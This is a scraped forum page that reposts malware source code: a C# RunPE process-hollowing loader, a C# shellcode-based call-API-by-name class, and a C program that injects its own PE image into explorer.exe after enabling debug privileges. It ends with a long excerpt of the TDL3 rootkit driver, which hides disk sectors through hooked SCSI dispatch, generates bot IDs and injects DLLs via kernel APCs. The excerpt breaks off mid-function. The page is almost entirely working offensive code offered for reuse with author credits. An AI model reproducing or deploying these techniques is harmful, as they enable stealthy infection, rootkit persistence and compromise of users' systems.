Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations) fixed (byte* p = &exeBuffer[0]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero); for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++) { Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length); fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)]) NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero); } NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero); *(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */); NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx); NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero); return true; } #region WinNT Definitions private const uint CONTEXT_FULL = 0x10007; private const int CREATE_SUSPENDED = 0x4; private const int MEM_COMMIT = 0x1000; private const int MEM_RESERVE = 0x2000; private const int PAGE_EXECUTE_READWRITE = 0x40; private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00 #region WinAPI [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount); #endregion #endregion } Example usage: CMemoryExecute.Run(File.ReadAllBytes(@"C:\run_me_in_memory.exe"), @"C:\inject_into_me.exe", @"(Optional) Command Line Parameters To Be Passed To C:\run_me_in_memory.exe"); If you use this code, it would be most excellent if you could maintain the credits. I'm not asking for cash or beer. This is the least you can do for such high quality work, no? Don't be a ripper. /affixiate P.S. All constructive criticism as well as questions and general comments are welcome. Sursa: [sRC] [C#] Execute EXE byte array in memory (NATIVE, RunPE, TINY, x64, x86)
-
[h=2][C#] Call an API by name[/h] Author: affixiate The subject of this post pretty much explains what this class does. You simply pass in the parameters of a WinAPI function and you will be able to call it in memory without having to use "DllImport". The code, CInvokeAPI.cs: using System; using System.Runtime.InteropServices; using System.Text; /* * Title: CInvokeAPI.cs * Description: Call API by name implementation in purely managed C# (no 'unsafe' mess here). * * Developed by: affixiate * Release date: December 10, 2010 * Released on: http://opensc.ws * * Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;] */ public static class CInvokeAPI { /// <summary> /// Generates a new, non-garbage collectable string in memory. Use this with Unicode "W" API. /// </summary> /// <param name="theString">A Unicode string.</param> /// <returns>Address of newly allocated string in memory. Remember to free it after use.</returns> public static int StringToPtrW(string theString) { return StringToPtr(Encoding.Unicode.GetBytes(theString)); } /// <summary> /// Generates a new, non-garbage collectable string in memory. Use this with ANSI "A" API. /// </summary> /// <param name="theString">An ANSII string.</param> /// <returns>Address of newly allocated string in memory. Remember to free it after use.</returns> public static int StringToPtrA(string theString) { return StringToPtr(Encoding.ASCII.GetBytes(theString)); } /// <summary> /// Internal method used to allocate memory. /// </summary> /// <param name="buf">A byte buffer.</param> /// <returns>Address of newly allocated memory. Remember to free it after use.</returns> private static int StringToPtr(byte[] buf) { return (int)GCHandle.Alloc(buf, GCHandleType.Pinned).AddrOfPinnedObject(); } /// <summary> /// Invokes the specified Windows API. /// </summary> /// <param name="libraryName">Name of the library.</param> /// <param name="functionName">Name of the function.</param> /// <param name="args">The arguments.</param> /// <returns>True if function succeeds, otherwise false.</returns> public static bool Invoke(string libraryName, string functionName, params int[] args) { /* Sanity checks. */ IntPtr hLoadLibrary = LoadLibrary(libraryName); if (hLoadLibrary == IntPtr.Zero) return false; IntPtr hGetProcAddress = GetProcAddress(hLoadLibrary, functionName); if (hGetProcAddress == IntPtr.Zero) return false; // Allocates more than enough memory for an stdcall and the parameters of a WinAPI function IntPtr hMemory = VirtualAlloc(IntPtr.Zero, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, MEM_EXECUTE_READWRITE); if (hMemory == IntPtr.Zero) return false; IntPtr hMemoryItr = hMemory; // Prepends the stdcall header signature Marshal.Copy(new byte[] {0x55, 0x89, 0xE5}, 0, hMemoryItr, 0x3); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x3); // Loop through the passed in arguments and place them on the stack in reverse order for (int i = (args.Length - 1); i >= 0; i--) { Marshal.Copy(new byte[] {0x68}, 0, hMemoryItr, 0x1); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1); Marshal.Copy(BitConverter.GetBytes(args[i]), 0, hMemoryItr, 0x4); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); } Marshal.Copy(new byte[] {0xE8}, 0, hMemoryItr, 0x1); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x1); Marshal.Copy(BitConverter.GetBytes((int)hGetProcAddress - (int)hMemoryItr - 0x4), 0, hMemoryItr, 0x4); hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); // Cleaning up the stack Marshal.Copy(new byte[] {0x5D, 0xC2, 0x4, 0x0 /* <= I made a LOL. */}, 0, hMemoryItr, 0x4); // Don't forget to increment if you are adding more ASM code here: hMemoryItr = (IntPtr)((int)hMemoryItr + 0x4); try { var executeAsm = (RunAsm) Marshal.GetDelegateForFunctionPointer(hMemory, typeof (RunAsm)); executeAsm(); } catch { return false; } // Clean up the memory we allocated to do the dirty work VirtualFree(hMemory, 0, MEM_RELEASE); return true; } // ReSharper disable InconsistentNaming private const uint MEM_RELEASE = 0x8000; private const uint MEM_COMMIT = 0x1000; private const uint MEM_RESERVE = 0x2000; private const uint MEM_EXECUTE_READWRITE = 0x40; // ReSharper restore InconsistentNaming // My own sexy delegate: [UnmanagedFunctionPointer(CallingConvention.StdCall, SetLastError = true)] private delegate void RunAsm(); // WinAPI used: [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, uint dwFreeType); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); } Sample usage: CInvokeAPI.Invoke("user32", "MessageBoxW", 0, CInvokeAPI.StringToPtrW("Greetings from affixiate."), CInvokeAPI.StringToPtrW("Hello world."), 1); Remember: when using my StringToPtr(W/A) methods, it's your responsibility to free the string (the garbage collector is told to not worry about it). You wouldn't want memory leaks now, eh? If you use this code, it would be most excellent if you could maintain the credits. I'm not asking for cash or beer. This is the least you can do for such high quality work, no? Don't be a ripper. /affixiate P.S. All constructive criticism as well as questions and general comments are welcome. Sursa: [sRC] [C#] Call an API by name (my own method)
-
C] Full PE Injection #include <windows.h> #include <tlhelp32.h> DWORD GetProcessIdByName(LPWSTR name) { PROCESSENTRY32 pe32; HANDLE snapshot = NULL; DWORD pid = 0; snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (!lstrcmp(pe32.szExeFile, name)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return pid; } LPVOID CopyModule(HANDLE proc, LPVOID image) { PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); PIMAGE_DATA_DIRECTORY datadir; DWORD size = headers->OptionalHeader.SizeOfImage; LPVOID mem = NULL; LPBYTE buf = NULL; BOOL ok = FALSE; if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; if (IsBadReadPtr(image, size)) return NULL; mem = VirtualAllocEx(proc, NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem != NULL) { buf = (LPBYTE)VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buf != NULL) { RtlCopyMemory(buf, image, size); datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (datadir->Size > 0 && datadir->VirtualAddress > 0) { DWORD_PTR delta = (DWORD_PTR)((LPBYTE)mem - headers->OptionalHeader.ImageBase); DWORD_PTR olddelta = (DWORD_PTR)((LPBYTE)image - headers->OptionalHeader.ImageBase); PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(buf + datadir->VirtualAddress); while(reloc->VirtualAddress != 0) { if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD list = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); DWORD i; for (i = 0; i < count; i++) { if (list[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(buf + (reloc->VirtualAddress + (0x0FFF & (list[i])))); *p -= olddelta; *p += delta; } } } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } ok = WriteProcessMemory(proc, mem, buf, size, NULL); } VirtualFree(buf, 0, MEM_RELEASE); // release buf } if (!ok) { VirtualFreeEx(proc, mem, 0, MEM_RELEASE); mem = NULL; } } return mem; } BOOL EnableDebugPrivileges(void) { HANDLE token; TOKEN_PRIVILEGES priv; BOOL ret = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE) { ret = TRUE; } CloseHandle(token); } return ret; } BOOL BeginInject(DWORD pid, LPTHREAD_START_ROUTINE start) { HANDLE proc, thread; HMODULE module, newmodule; BOOL ok = FALSE; proc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, FALSE, pid); if (proc != NULL) { module = GetModuleHandle(NULL); newmodule = (HMODULE)CopyModule(proc, module); if (newmodule != NULL) { LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)((LPBYTE)newmodule + (DWORD_PTR)((LPBYTE)start - (LPBYTE)module)); thread = CreateRemoteThread(proc, NULL, 0, entry, NULL, 0, NULL); if (thread != NULL) { CloseHandle(thread); ok = TRUE; } else { VirtualFreeEx(proc, module, 0, MEM_RELEASE); } } CloseHandle(proc); } return ok; } DWORD WINAPI ThreadProc(LPVOID param) { MessageBox(NULL, L"well look at that :O", NULL, 0); return 0; } int wmain(void) { // EnableDebugPrivileges(); attempt to aquire debugging privileges BeginInject(GetProcessIdByName(L"explorer.exe"), ThreadProc); return 0; } Sursa: [C] full PE injection
-
TDL3 1000+ SC lines Bucati din codul sursa de la cunoscutul TDL3: #include "inc.h" #pragma comment(linker,"/subsystem:native /entry:DriverEntry") NT_BEGIN EXTERN_C_START DWORD GetDelta(); NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN); VOID GetEPNameOffset(); NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; PIMAGE_NT_HEADERS pinhHeader; GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry; pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart); ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START)); GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset; pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP; pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress; GetEPNameOffset(); *GET_TDL_ADDRESSES->cBotID=0; if(!NT_SUCCESS(Reinitialize(0,FALSE))) { IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } VOID GetEPNameOffset() { CHAR cSystem[]={'S','y','s','t','e','m',0}; GET_TDL_ADDRESSES->dwEPNameOffset=0; while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0) { GET_TDL_ADDRESSES->dwEPNameOffset++; } return; } PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey) { DWORD dwData; for(dwData=0;dwData<dwSize;dwData++) { ((PBYTE)pvData)[dwData]^=dwData+bKey; } return pvData; }; NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress) { SCSI_REQUEST_BLOCK srbBuffer; SENSE_DATA sdData; IO_STATUS_BLOCK iosbStatus; KEVENT keEvent; PIRP piIrp; PMDL pmMdl; PIO_STACK_LOCATION pislStack; memset(&srbBuffer,0,sizeof(srbBuffer)); memset(&sdData,0,sizeof(sdData)); srbBuffer.Length=sizeof(srbBuffer); srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI; srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.CdbLength=CDB10GENERIC_LENGTH; srbBuffer.SenseInfoBufferLength=sizeof(sdData); srbBuffer.SenseInfoBuffer=&sdData; srbBuffer.DataTransferLength=dwBufferSize; srbBuffer.DataBuffer=pvBuffer; srbBuffer.TimeOutValue=5000; srbBuffer.QueueSortKey=dwAddress; srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE; srbBuffer.Cdb[0]=bOpCode; srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24); srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16); srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8); srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff); if(dwAddress!=0) { DWORD dwSectors; dwSectors=dwBufferSize/0x200; srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8); srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff); } KeInitializeEvent(&keEvent,NotificationEvent,FALSE); piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE); if(piIrp!=0) { pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp); srbBuffer.OriginalRequest=piIrp; piIrp->MdlAddress=pmMdl; MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess); piIrp->UserIosb=&iosbStatus; piIrp->UserEvent=&keEvent; piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE; piIrp->Tail.Overlay.Thread=KeGetCurrentThread(); pislStack=IoGetNextIrpStackLocation(piIrp); pislStack->DeviceObject=pdoDevice; pislStack->MajorFunction=IRP_MJ_SCSI; pislStack->Parameters.Scsi.Srb=&srbBuffer; piIrp->CurrentLocation--; pislStack=IoGetNextIrpStackLocation(piIrp); piIrp->Tail.Overlay.CurrentStackLocation=pislStack; pislStack->DeviceObject=pdoDevice; if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING) { KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0); } return iosbStatus.Status; } return STATUS_INSUFFICIENT_RESOURCES; } extern "C" { #include "gz.cpp" #include "md4.cpp" #include "socket.cpp" #include "tdlini.cpp" #include "tdlfs.cpp" } NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext) { NTSTATUS ntsStatus; if(NT_SUCCESS(piIrp->IoStatus.Status)) { PVOID pvBuffer; PIO_STACK_LOCATION pislStack; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority); if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { DWORD dwOffset; if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector) { dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize; } else { dwOffset=0; } memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset); } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize)) { memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize); } } } } if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0) { ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext); } ExFreePool(pvContext); return ntsStatus; } NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp) { PIO_STACK_LOCATION pislStack; PDISK_COMPLETION pdcCompletion=0; DWORD dwSector; pislStack=IoGetCurrentIrpStackLocation(piIrp); if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice) &&(pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)) { piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED; piIrp->IoStatus.Information=0; TDLFSDispatch(pdoDevice,piIrp); IoCompleteRequest(piIrp,IO_NO_INCREMENT); return piIrp->IoStatus.Status; } if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk) &&(!((pislStack->FileObject!=0) &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR)) &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))) &&(pislStack->MajorFunction==IRP_MJ_SCSI) &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI)) { BOOL bComplete=FALSE; BOOL bEnd=FALSE; if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } else { for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0) &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize)) { bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0; bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0; } } } if(bEnd) { pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS; pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS; piIrp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(piIrp,IO_NO_INCREMENT); return STATUS_SUCCESS; } if(bComplete) { pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION)); if(pdcCompletion!=0) { pdcCompletion->picrCompletion=pislStack->CompletionRoutine; pdcCompletion->pvContext=pislStack->Context; pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey; pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL; pislStack->Context=pdcCompletion; pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion); } } } return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp); } NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize) { CHAR cBotIDFormat[]={'%','x','%','x',0}; WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; UUID uuidBotID; UNICODE_STRING usName; HANDLE hVolume; FILE_FS_VOLUME_INFORMATION ffviInfo; IO_STATUS_BLOCK iosbStatus; OBJECT_ATTRIBUTES oaAttributes; RtlInitUnicodeString(&usName,wcVolumeObject); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ffviInfo.VolumeSerialNumber=0; if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT))) { ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation); ZwClose(hVolume); } if(ExUuidCreate(&uuidBotID)==0) { _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber); return STATUS_SUCCESS; } return STATUS_RETRY; } __declspec(naked) DWORD GetDelta() { __asm { call delta delta: pop eax sub eax,offset delta retn } } __declspec(noinline) PVOID GetNtoskrnlBase() { BYTE bIDT[6]; PIDT_ENTRY pieIDTEntry; PWORD pwAddress; __asm { sidt bIDT; } pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40); pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16)); do { pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE); if(*pwAddress=='ZM') { return (PVOID)pwAddress; } pwAddress--; } while(pwAddress!=0); return 0; } VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*) { ExFreePool(pkaApc); return; } NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert) { HANDLE hProcess; OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)}; CLIENT_ID cidProcess; PVOID pvMemory=0; DWORD dwSize; CHAR cDllReal[MAX_PATH]; CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0}; PCHAR pcDllReal; if(*pcDll!='\\') { dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1; pcDllReal=cDllReal; } else { pcDllReal=pcDll; dwSize=strlen(pcDll)+1; } cidProcess.UniqueProcess=hProcessID; cidProcess.UniqueThread=0; if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess))) { if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE))) { KAPC_STATE kasState; PKAPC pkaApc; KeStackAttachProcess(pepProcess,&kasState); strcpy(pvMemory,pcDllReal); KeUnstackDetachProcess(&kasState); pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); return STATUS_SUCCESS; } } ZwClose(hProcess); } return STATUS_NO_MEMORY; } VOID WIInjector(PVOID pvContext) { CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY; CHAR cSection[]=TDL_CONFIG_INJECTOR; CHAR cDll[MAX_PATH]; CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'d','a','t','e',0}; DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0); DWORD dwCurrent; LARGE_INTEGER liTime; KeQuerySystemTime(&liTime); RtlTimeToSecondsSince1970(&liTime,&dwCurrent); //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0}; //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0); //if(dwCurrent-dwDate>=60*24*60) { // DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1); if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll))) { DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE); } } KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE); return; } VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*) { WI_INJECT wiiItem; ExFreePool(pkaApc); wiiItem.pktThread=KeGetCurrentThread(); wiiItem.pepProcess=IoGetCurrentProcess(); wiiItem.hProcessID=PsGetCurrentProcessId(); 